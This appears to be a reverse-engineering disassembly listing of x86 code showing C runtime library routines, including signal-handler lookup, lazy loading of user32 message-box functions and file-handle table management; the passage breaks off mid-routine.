; .XComp0:00432CF1j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call sub_433080 add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_432D13 jmp short loc_432D58 ; --------------------------------------------------------------------------- loc_432D13: ; CODE XREF: .XComp0:00432D0Fj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_432D1C: ; CODE XREF: .XComp0:loc_432D51j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_432D53 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, dword_452A9C imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_432D51 jmp short loc_432D53 ; --------------------------------------------------------------------------- loc_432D51: ; CODE XREF: .XComp0:00432D4Dj jmp short loc_432D1C ; --------------------------------------------------------------------------- loc_432D53: ; CODE XREF: .XComp0:00432C7Cj ; .XComp0:00432D25j ... mov eax, [ebp-0Ch] jmp short loc_432D66 ; --------------------------------------------------------------------------- loc_432D58: ; CODE XREF: .XComp0:loc_432B83j ; .XComp0:00432BFAj ... call sub_42C1E0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_432D66: ; CODE XREF: .XComp0:00432D56j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_432D6B dd offset loc_432C26 ; DATA XREF: .XComp0:00432C1Fr dd offset loc_432C60 dd offset loc_432C3A dd offset loc_432C4D dd offset loc_432C72 byte_432D7F db 0 ; DATA XREF: .XComp0:00432C19r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432DA0 proc near ; DATA XREF: .XComp0:00432BC5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 1 call sub_425990 add esp, 4 cmp [ebp+arg_0], 0 jnz short loc_432DCE mov [ebp+var_8], offset dword_4E940C mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_C], ecx mov [ebp+var_4], 2 jmp short loc_432DE4 ; --------------------------------------------------------------------------- loc_432DCE: ; CODE XREF: sub_432DA0+14j mov [ebp+var_8], offset dword_4E9410 mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_C], eax mov [ebp+var_4], 15h loc_432DE4: ; CODE XREF: sub_432DA0+2Cj cmp [ebp+var_C], 0 jnz short loc_432DF8 push 1 call sub_425A30 add esp, 4 xor eax, eax jmp short loc_432E2C ; --------------------------------------------------------------------------- loc_432DF8: ; CODE XREF: sub_432DA0+48j cmp [ebp+var_C], 1 jz short loc_432E1D mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 push 1 call sub_425A30 add esp, 4 mov edx, [ebp+var_4] push edx call [ebp+var_C] add esp, 4 jmp short loc_432E27 ; --------------------------------------------------------------------------- loc_432E1D: ; CODE XREF: sub_432DA0+5Cj push 1 call sub_425A30 add esp, 4 loc_432E27: ; CODE XREF: sub_432DA0+7Bj mov eax, 1 loc_432E2C: ; CODE XREF: sub_432DA0+56j mov esp, ebp pop ebp retn 4 sub_432DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432E40 proc near ; CODE XREF: sub_4250B0+2E7p ; sub_435A60+Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_20], eax mov ecx, [ebp+var_20] sub ecx, 2 mov [ebp+var_20], ecx cmp [ebp+var_20], 14h ja loc_432F0E mov eax, [ebp+var_20] xor edx, edx mov dl, byte_433062[eax] jmp off_43304A[edx*4] loc_432E78: ; DATA XREF: .XComp0:off_43304Ao mov [ebp+var_18], offset dword_4E940C mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp loc_432F16 ; --------------------------------------------------------------------------- loc_432E95: ; CODE XREF: sub_432E40+31j ; DATA XREF: .XComp0:00433056o mov [ebp+var_18], offset dword_4E9410 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_432F16 ; --------------------------------------------------------------------------- loc_432EAF: ; CODE XREF: sub_432E40+31j ; DATA XREF: .XComp0:0043305Ao mov [ebp+var_18], offset dword_4E9414 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_432F16 ; --------------------------------------------------------------------------- loc_432EC9: ; CODE XREF: sub_432E40+31j ; DATA XREF: .XComp0:00433052o mov [ebp+var_18], offset dword_4E9418 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_432F16 ; --------------------------------------------------------------------------- loc_432EE3: ; CODE XREF: sub_432E40+31j ; DATA XREF: .XComp0:0043304Eo call sub_42B630 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+50h] push edx mov eax, [ebp+arg_0] push eax call sub_433080 add esp, 8 add eax, 8 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx jmp short loc_432F16 ; --------------------------------------------------------------------------- loc_432F0E: ; CODE XREF: sub_432E40+20j ; sub_432E40+31j ; DATA XREF: ... or eax, 0FFFFFFFFh jmp loc_433046 ; --------------------------------------------------------------------------- loc_432F16: ; CODE XREF: sub_432E40+50j ; sub_432E40+6Dj ... cmp [ebp+var_C], 0 jz short loc_432F26 push 1 call sub_425990 add esp, 4 loc_432F26: ; CODE XREF: sub_432E40+DAj cmp [ebp+var_1C], 1 jnz short loc_432F43 cmp [ebp+var_C], 0 jz short loc_432F3C push 1 call sub_425A30 add esp, 4 loc_432F3C: ; CODE XREF: sub_432E40+F0j xor eax, eax jmp loc_433046 ; --------------------------------------------------------------------------- loc_432F43: ; CODE XREF: sub_432E40+EAj cmp [ebp+var_1C], 0 jnz short loc_432F60 cmp [ebp+var_C], 0 jz short loc_432F59 push 1 call sub_425A30 add esp, 4 loc_432F59: ; CODE XREF: sub_432E40+10Dj push 3 call sub_421820 loc_432F60: ; CODE XREF: sub_432E40+107j cmp [ebp+arg_0], 8 jz short loc_432F72 cmp [ebp+arg_0], 0Bh jz short loc_432F72 cmp [ebp+arg_0], 4 jnz short loc_432F9E loc_432F72: ; CODE XREF: sub_432E40+124j ; sub_432E40+12Aj mov eax, [ebp+var_4] mov ecx, [eax+54h] mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov dword ptr [edx+54h], 0 cmp [ebp+arg_0], 8 jnz short loc_432F9E mov eax, [ebp+var_4] mov ecx, [eax+58h] mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov dword ptr [edx+58h], 8Ch loc_432F9E: ; CODE XREF: sub_432E40+130j ; sub_432E40+149j cmp [ebp+arg_0], 8 jnz short loc_432FE0 mov eax, dword_452A90 mov [ebp+var_10], eax jmp short loc_432FB7 ; --------------------------------------------------------------------------- loc_432FAE: ; CODE XREF: sub_432E40+19Cj mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_432FB7: ; CODE XREF: sub_432E40+16Cj mov edx, dword_452A90 add edx, dword_452A94 cmp [ebp+var_10], edx jge short loc_432FDE mov eax, [ebp+var_10] imul eax, 0Ch mov ecx, [ebp+var_4] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_432FAE ; --------------------------------------------------------------------------- loc_432FDE: ; CODE XREF: sub_432E40+186j jmp short loc_432FE9 ; --------------------------------------------------------------------------- loc_432FE0: ; CODE XREF: sub_432E40+162j mov eax, [ebp+var_18] mov dword ptr [eax], 0 loc_432FE9: ; CODE XREF: sub_432E40:loc_432FDEj cmp [ebp+var_C], 0 jz short loc_432FF9 push 1 call sub_425A30 add esp, 4 loc_432FF9: ; CODE XREF: sub_432E40+1ADj cmp [ebp+arg_0], 8 jnz short loc_433010 mov ecx, [ebp+var_4] mov edx, [ecx+58h] push edx push 8 call [ebp+var_1C] add esp, 8 jmp short loc_43301A ; --------------------------------------------------------------------------- loc_433010: ; CODE XREF: sub_432E40+1BDj mov eax, [ebp+arg_0] push eax call [ebp+var_1C] add esp, 4 loc_43301A: ; CODE XREF: sub_432E40+1CEj cmp [ebp+arg_0], 8 jz short loc_43302C cmp [ebp+arg_0], 0Bh jz short loc_43302C cmp [ebp+arg_0], 4 jnz short loc_433044 loc_43302C: ; CODE XREF: sub_432E40+1DEj ; sub_432E40+1E4j mov ecx, [ebp+var_4] mov edx, [ebp+var_14] mov [ecx+54h], edx cmp [ebp+arg_0], 8 jnz short loc_433044 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+58h], ecx loc_433044: ; CODE XREF: sub_432E40+1EAj ; sub_432E40+1F9j xor eax, eax loc_433046: ; CODE XREF: sub_432E40+D1j ; sub_432E40+FEj mov esp, ebp pop ebp retn sub_432E40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_43304A dd offset loc_432E78 ; DATA XREF: sub_432E40+31r dd offset loc_432EE3 dd offset loc_432EC9 dd offset loc_432E95 dd offset loc_432EAF dd offset loc_432F0E byte_433062 db 0 ; DATA XREF: sub_432E40+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433080 proc near ; CODE XREF: .XComp0:00432D00p ; sub_432E40+B6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_43308A: ; CODE XREF: sub_433080+31j mov ecx, [ebp+var_4] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jz short loc_4330B3 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_452A9C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_4330B3 jmp short loc_43308A ; --------------------------------------------------------------------------- loc_4330B3: ; CODE XREF: sub_433080+13j ; sub_433080+2Fj mov eax, dword_452A9C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_4330D5 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jnz short loc_4330D5 mov eax, [ebp+var_4] jmp short loc_4330D7 ; --------------------------------------------------------------------------- loc_4330D5: ; CODE XREF: sub_433080+43j ; sub_433080+4Ej xor eax, eax loc_4330D7: ; CODE XREF: sub_433080+53j mov esp, ebp pop ebp retn sub_433080 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_42B630 add eax, 58h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4330F0 proc near ; CODE XREF: .XComp0:00434A69p push ebp mov ebp, esp call sub_42B630 add eax, 54h pop ebp retn sub_4330F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433100 proc near ; CODE XREF: sub_4250B0+2CEp ; sub_432590+1B0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 cmp dword_4E9420, 0 jnz short loc_433173 push offset aUser32_dll_0 ; "user32.dll" nop call near ptr 27D0000h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_433147 push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_8] push eax nop call near ptr 27D0334h mov dword_4E9420, eax cmp dword_4E9420, 0 jnz short loc_43314B loc_433147: ; CODE XREF: sub_433100+28j xor eax, eax jmp short loc_4331B7 ; --------------------------------------------------------------------------- loc_43314B: ; CODE XREF: sub_433100+45j push offset aGetactivewindo ; "GetActiveWindow" mov ecx, [ebp+var_8] push ecx nop call near ptr 27D0334h mov dword_4E9424, eax push offset aGetlastactivep ; "GetLastActivePopup" mov edx, [ebp+var_8] push edx nop call near ptr 27D0334h mov dword_4E9428, eax loc_433173: ; CODE XREF: sub_433100+14j cmp dword_4E9424, 0 jz short loc_433185 call dword_4E9424 ; GetActiveWindow mov [ebp+var_4], eax loc_433185: ; CODE XREF: sub_433100+7Aj cmp [ebp+var_4], 0 jz short loc_4331A1 cmp dword_4E9428, 0 jz short loc_4331A1 mov eax, [ebp+var_4] push eax call dword_4E9428 ; GetLastActivePopup mov [ebp+var_4], eax loc_4331A1: ; CODE XREF: sub_433100+89j ; sub_433100+92j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_4E9420 ; MessageBoxA loc_4331B7: ; CODE XREF: sub_433100+49j mov esp, ebp pop ebp retn sub_433100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4331C0 proc near ; CODE XREF: .XComp0:loc_433652p ; sub_433B40:loc_433DD9p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push esi mov [ebp+var_8], 0FFFFFFFFh push 12h call sub_425990 add esp, 4 mov [ebp+var_C], 0 jmp short loc_4331EA ; --------------------------------------------------------------------------- loc_4331E1: ; CODE XREF: sub_4331C0:loc_43338Bj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_4331EA: ; CODE XREF: sub_4331C0+1Fj cmp [ebp+var_C], 40h jge loc_433390 mov ecx, [ebp+var_C] cmp dword_4E95A0[ecx*4], 0 jz loc_4332F6 mov edx, [ebp+var_C] mov eax, dword_4E95A0[edx*4] mov [ebp+var_4], eax jmp short loc_43321D ; --------------------------------------------------------------------------- loc_433214: ; CODE XREF: sub_4331C0+F1j ; sub_4331C0:loc_4332E1j mov ecx, [ebp+var_4] add ecx, 24h mov [ebp+var_4], ecx loc_43321D: ; CODE XREF: sub_4331C0+52j mov edx, [ebp+var_C] mov eax, dword_4E95A0[edx*4] add eax, 480h cmp [ebp+var_4], eax jnb loc_4332E6 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jnz loc_4332E1 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_433289 push 11h call sub_425990 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_43327F mov edx, [ebp+var_4] add edx, 0Ch push edx nop call near ptr 29405B9h mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_43327F: ; CODE XREF: sub_4331C0+A1j push 11h call sub_425A30 add esp, 4 loc_433289: ; CODE XREF: sub_4331C0+8Ej mov eax, [ebp+var_4] add eax, 0Ch push eax call near ptr 7C901005h nop mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jz short loc_4332B6 mov eax, [ebp+var_4] add eax, 0Ch push eax nop call near ptr 7C9010EDh jmp loc_433214 ; --------------------------------------------------------------------------- loc_4332B6: ; CODE XREF: sub_4331C0+E2j mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov ecx, [ebp+var_C] shl ecx, 5 mov edx, [ebp+var_C] mov eax, [ebp+var_4] sub eax, dword_4E95A0[edx*4] cdq mov esi, 24h idiv esi add ecx, eax mov [ebp+var_8], ecx jmp short loc_4332E6 ; --------------------------------------------------------------------------- loc_4332E1: ; CODE XREF: sub_4331C0+81j jmp loc_433214 ; --------------------------------------------------------------------------- loc_4332E6: ; CODE XREF: sub_4331C0+6Fj ; sub_4331C0+11Fj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4332F1 jmp loc_433390 ; --------------------------------------------------------------------------- loc_4332F1: ; CODE XREF: sub_4331C0+12Aj jmp loc_43338B ; --------------------------------------------------------------------------- loc_4332F6: ; CODE XREF: sub_4331C0+3Fj push 79h push offset aOsfinfo_c ; "osfinfo.c" push 2 push 480h call sub_41EDD0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_433389 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dword_4E95A0[eax*4], ecx mov edx, dword_4E96A0 add edx, 20h mov dword_4E96A0, edx jmp short loc_43333C ; --------------------------------------------------------------------------- loc_433333: ; CODE XREF: sub_4331C0+1B2j mov eax, [ebp+var_4] add eax, 24h mov [ebp+var_4], eax loc_43333C: ; CODE XREF: sub_4331C0+171j mov ecx, [ebp+var_C] mov edx, dword_4E95A0[ecx*4] add edx, 480h cmp [ebp+var_4], edx jnb short loc_433374 mov eax, [ebp+var_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_4] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_4] mov dword ptr [eax+8], 0 jmp short loc_433333 ; --------------------------------------------------------------------------- loc_433374: ; CODE XREF: sub_4331C0+18Fj mov ecx, [ebp+var_C] shl ecx, 5 mov [ebp+var_8], ecx mov edx, [ebp+var_8] push edx call sub_4336D0 add esp, 4 loc_433389: ; CODE XREF: sub_4331C0+153j jmp short loc_433390 ; --------------------------------------------------------------------------- loc_43338B: ; CODE XREF: sub_4331C0:loc_4332F1j jmp loc_4331E1 ; --------------------------------------------------------------------------- loc_433390: ; CODE XREF: sub_4331C0+2Ej ; sub_4331C0+12Cj ... push 12h call sub_425A30 add esp, 4 mov eax, [ebp+var_8] pop esi mov esp, ebp pop ebp retn sub_4331C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4333B0 proc near ; CODE XREF: .XComp0:00433683p ; sub_433B40+379p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb loc_43344A mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jnz short loc_43344A cmp dword_44FF44, 1 jnz short loc_43342A mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz short loc_433402 cmp [ebp+var_4], 1 jz short loc_433410 cmp [ebp+var_4], 2 jz short loc_43341E jmp short loc_43342A ; --------------------------------------------------------------------------- loc_433402: ; CODE XREF: sub_4333B0+42j mov edx, [ebp+arg_4] push edx push 0FFFFFFF6h call near ptr 2770587h nop jmp short loc_43342A ; --------------------------------------------------------------------------- loc_433410: ; CODE XREF: sub_4333B0+48j mov eax, [ebp+arg_4] push eax push 0FFFFFFF5h nop call near ptr 2770587h jmp short loc_43342A ; --------------------------------------------------------------------------- loc_43341E: ; CODE XREF: sub_4333B0+4Ej mov ecx, [ebp+arg_4] push ecx push 0FFFFFFF4h nop call near ptr 2770587h loc_43342A: ; CODE XREF: sub_4333B0+36j ; sub_4333B0+50j ... mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] mov edx, [ebp+arg_4] mov [ecx+eax], edx xor eax, eax jmp short loc_433463 ; --------------------------------------------------------------------------- loc_43344A: ; CODE XREF: sub_4333B0+Dj ; sub_4333B0+2Dj call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_433463: ; CODE XREF: sub_4333B0+98j mov esp, ebp pop ebp retn sub_4333B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433470 proc near ; CODE XREF: sub_425440+69p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb loc_43352B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz loc_43352B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] cmp dword ptr [ecx+eax], 0FFFFFFFFh jz short loc_43352B cmp dword_44FF44, 1 jnz short loc_43350A mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_4334E8 cmp [ebp+var_4], 1 jz short loc_4334F4 cmp [ebp+var_4], 2 jz short loc_433500 jmp short loc_43350A ; --------------------------------------------------------------------------- loc_4334E8: ; CODE XREF: sub_433470+68j push 0 push 0FFFFFFF6h nop call near ptr 2770587h jmp short loc_43350A ; --------------------------------------------------------------------------- loc_4334F4: ; CODE XREF: sub_433470+6Ej push 0 push 0FFFFFFF5h nop call near ptr 2770587h jmp short loc_43350A ; --------------------------------------------------------------------------- loc_433500: ; CODE XREF: sub_433470+74j push 0 push 0FFFFFFF4h nop call near ptr 2770587h loc_43350A: ; CODE XREF: sub_433470+5Cj ; sub_433470+76j ... mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov dword ptr [edx+ecx], 0FFFFFFFFh xor eax, eax jmp short loc_433544 ; --------------------------------------------------------------------------- loc_43352B: ; CODE XREF: sub_433470+Dj ; sub_433470+33j ... call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_433544: ; CODE XREF: sub_433470+B9j mov esp, ebp pop ebp retn sub_433470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433550 proc near ; CODE XREF: sub_425440+9p ; sub_425440+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb short loc_43359B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz short loc_43359B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] mov eax, [ecx+eax] jmp short loc_4335B4 ; --------------------------------------------------------------------------- loc_43359B: ; CODE XREF: sub_433550+Cj ; sub_433550+2Ej call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_4335B4: ; CODE XREF: sub_433550+49j pop ebp retn sub_433550 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov byte ptr [ebp-0Ch], 0 mov eax, [ebp+0Ch] and eax, 8 test eax, eax jz short loc_4335DD mov cl, [ebp-0Ch] or cl, 20h mov [ebp-0Ch], cl loc_4335DD: ; CODE XREF: .XComp0:004335D2j mov edx, [ebp+0Ch] and edx, 4000h test edx, edx jz short loc_4335F2 mov al, [ebp-0Ch] or al, 80h mov [ebp-0Ch], al loc_4335F2: ; CODE XREF: .XComp0:004335E8j mov ecx, [ebp+0Ch] and ecx, 80h test ecx, ecx jz short loc_433608 mov dl, [ebp-0Ch] or dl, 10h mov [ebp-0Ch], dl loc_433608: ; CODE XREF: .XComp0:004335FDj mov eax, [ebp+8] push eax call near ptr 2770A41h nop mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_433632 nop call near ptr 27A0A66h push eax call sub_42C140 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4336C0 ; --------------------------------------------------------------------------- loc_433632: ; CODE XREF: .XComp0:00433619j cmp dword ptr [ebp-4], 2 jnz short loc_433643 mov cl, [ebp-0Ch] or cl, 40h mov [ebp-0Ch], cl jmp short loc_433652 ; --------------------------------------------------------------------------- loc_433643: ; CODE XREF: .XComp0:00433636j cmp dword ptr [ebp-4], 3 jnz short loc_433652 mov dl, [ebp-0Ch] or dl, 8 mov [ebp-0Ch], dl loc_433652: ; CODE XREF: .XComp0:00433641j ; .XComp0:00433647j call sub_4331C0 mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_43367B call sub_42C1E0 mov dword ptr [eax], 18h call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4336C0 ; --------------------------------------------------------------------------- loc_43367B: ; CODE XREF: .XComp0:0043365Ej mov eax, [ebp+8] push eax mov ecx, [ebp-8] push ecx call sub_4333B0 add esp, 8 mov dl, [ebp-0Ch] or dl, 1 mov [ebp-0Ch], dl mov eax, [ebp-8] sar eax, 5 mov ecx, [ebp-8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov al, [ebp-0Ch] mov [edx+ecx+4], al mov ecx, [ebp-8] push ecx call sub_433760 add esp, 4 mov eax, [ebp-8] loc_4336C0: ; CODE XREF: .XComp0:0043362Dj ; .XComp0:00433679j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4336D0 proc near ; CODE XREF: sub_4253C0+50p ; sub_429A00+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_433731 push 11h call sub_425990 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_433727 mov edx, [ebp+var_4] add edx, 0Ch push edx call near ptr 29405B9h nop mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_433727: ; CODE XREF: sub_4336D0+39j push 11h call sub_425A30 add esp, 4 loc_433731: ; CODE XREF: sub_4336D0+26j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] lea eax, [edx+ecx+0Ch] push eax nop call near ptr 7C901005h mov esp, ebp pop ebp retn sub_4336D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433760 proc near ; CODE XREF: sub_4253C0+6Bp ; sub_429A00+73p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] lea eax, [edx+ecx+0Ch] push eax nop call near ptr 7C9010EDh pop ebp retn sub_433760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433790 proc near ; CODE XREF: sub_4255E0+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb short loc_4337C1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_4337D4 loc_4337C1: ; CODE XREF: sub_433790+Dj call sub_42C1E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_43385E ; --------------------------------------------------------------------------- loc_4337D4: ; CODE XREF: sub_433790+2Fj mov edx, [ebp+arg_0] push edx call sub_4336D0 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 1 test eax, eax jz short loc_43383D mov ecx, [ebp+arg_0] push ecx call sub_433550 add esp, 4 push eax call near ptr 2770000h nop test eax, eax jnz short loc_433824 call near ptr 27A0A66h nop mov [ebp+var_4], eax jmp short loc_43382B ; --------------------------------------------------------------------------- loc_433824: ; CODE XREF: sub_433790+87j mov [ebp+var_4], 0 loc_43382B: ; CODE XREF: sub_433790+92j cmp [ebp+var_4], 0 jnz short loc_433833 jmp short loc_43384F ; --------------------------------------------------------------------------- loc_433833: ; CODE XREF: sub_433790+9Fj call sub_42C1F0 mov edx, [ebp+var_4] mov [eax], edx loc_43383D: ; CODE XREF: sub_433790+70j call sub_42C1E0 mov dword ptr [eax], 9 mov [ebp+var_4], 0FFFFFFFFh loc_43384F: ; CODE XREF: sub_433790+A1j mov eax, [ebp+arg_0] push eax call sub_433760 add esp, 